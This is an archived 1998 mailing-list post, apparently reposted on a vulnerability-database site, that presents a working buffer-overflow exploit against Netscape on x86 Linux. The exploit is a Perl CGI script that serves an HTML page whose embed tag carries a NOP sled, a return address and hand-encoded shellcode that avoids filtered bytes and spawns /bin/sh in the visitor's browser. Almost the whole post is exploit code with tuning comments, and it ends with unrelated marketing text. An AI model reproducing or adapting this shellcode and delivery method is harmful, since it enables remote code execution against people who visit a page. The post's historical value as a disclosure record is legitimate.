`
[ http://www.rootshell.com/ ]
From [email protected] Wed Oct 21 18:00:09 1998
Date: Wed, 21 Oct 1998 19:23:45 -0500
From: Mr. Nothing <[email protected]>
To: [email protected]
Subject: Netscape Buffer Overflow
Here is a buffer overflow exploit for Netscape on x86 Linux. It can
be activated remotely by the following CGI script.
See http://www.shout.net/~nothing/buffer-overflow-1/index.html
for more information.
-----
#!/usr/bin/perl
#
# buffer-overflow-1.cgi -- Dan Brumleve, 1998.10.19
sub parse {
join("", map { /^[0-9A-Fa-f]{2}$/ ? pack("c", hex($_)) : "" } @_);
}
# This is very tricky business. Netscape maps unprintable characters
# (0x80 - 0x90 and probably others) to 0x3f ("?"), so the machine
# code must be free of these characters. This makes it impossible
# to call int 0x80, so I put int 0x40 there and wrote code to
# shift those bytes left before it gets called. Also null characters
# can't be used because of C string conventions.
# the first paragraph of the following turns the int 0x40 in the second
# paragraph into int 0x80. the second paragraph nullifies the SIGALRM
# handler.
my $pre = parse qw{
31 c0 # xorl %eax,%eax
66 b8 ff 0f # movw $0x1056,%ax
01 c4 # addl %eax,%esp
c0 24 24 01 # shlb $1,(%esp)
29 c4 # subl %eax,%esp
31 c0 b0 30
31 db b3 0e
31 c9 b1 01
cd 40
};
my $code = $pre . parse qw{
b0 55 # movb $0x55,%al (marker)
eb 58 # (jump below)
5e # popl %esi
56 # pushl %esi
5b # popl %ebx
43 43 43 43 43 43
43 43 43 43 43 # addl $0xb,%ebx
21 33 # andl %esi,(%ebx)
09 33 # orl %esi,(%ebx)
31 c0 # xorl %eax,%eax
66 b8 56 10 # movw $0x1056,%ax
01 c4 # addl %eax,%esp
c0 24 24 01 # shlb $1,(%esp)
33 c0 # xorl %eax,%eax
b0 05 # movb $5,%al
01 c4 # addl %eax,%esp
c0 24 24 01 # shlb $1,(%esp)
29 c4 # subl %eax,%esp
66 b8 56 10 # movw $0x1056,%ax
29 c4 # subl %eax,%esp
31 d2 # xorl %edx,%edx
21 56 07 # andl %edx,0x7(%esi)
21 56 0f # andl %edx,0xf(%esi)
b8 1b 56 34 12 # movl $0x1234561b,%eax
35 10 56 34 12 # xorl $0x12345610,%eax
21 d9 # andl %ebx,%ecx
09 d9 # orl %ebx,%ecx
4b 4b 4b 4b 4b 4b
4b 4b 4b 4b 4b # subl $0xb,%ebx
cd 40 # int $0x80
31 c0 # xorl %eax,%eax
40 # incl %eax
cd 40 # int $0x80
e8 a3 ff ff ff # (call above)
};
$code .= "/bin/sh";
my $transmission = parse qw{
6f 63 65 61 6e 20 64 65 73 65 72 74 20 69 72 6f 6e # inguz
20 66 65 72 74 69 6c 69 7a 61 74 69 6f 6e 20 70 68 # inguz
79 74 6f 70 6c 61 6e 6b 74 6f 6e 20 62 6c 6f 6f 6d # inguz
20 67 61 74 65 73 20 73 6f 76 65 72 65 69 67 6e 74 # inguz
79
};
my $nop = "\x90"; # this actually gets mapped onto 0x3f, but it doesn't seem
# to matter
my $address = "\x10\xdb\xff\xbf"; # wild guess, intended to be somewhere
# in the chunk of nops. works on every
# linux box i've tried it on so far.
my $len = 0x1000 - length($pre);
my $exploit = ($nop x 1138) . ($address x 3) . ($nop x $len) . $code;
# the first $address is in the string replaces another
# pointer in the same function which gets dereferenced
# after the buffer is overflowed. there must be a valid
# address there or it will segfault early.
print <<EOF;
Content-type: text/html
<!-- $transmission -->
<embed type="$exploit" src="data:x">
EOF
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation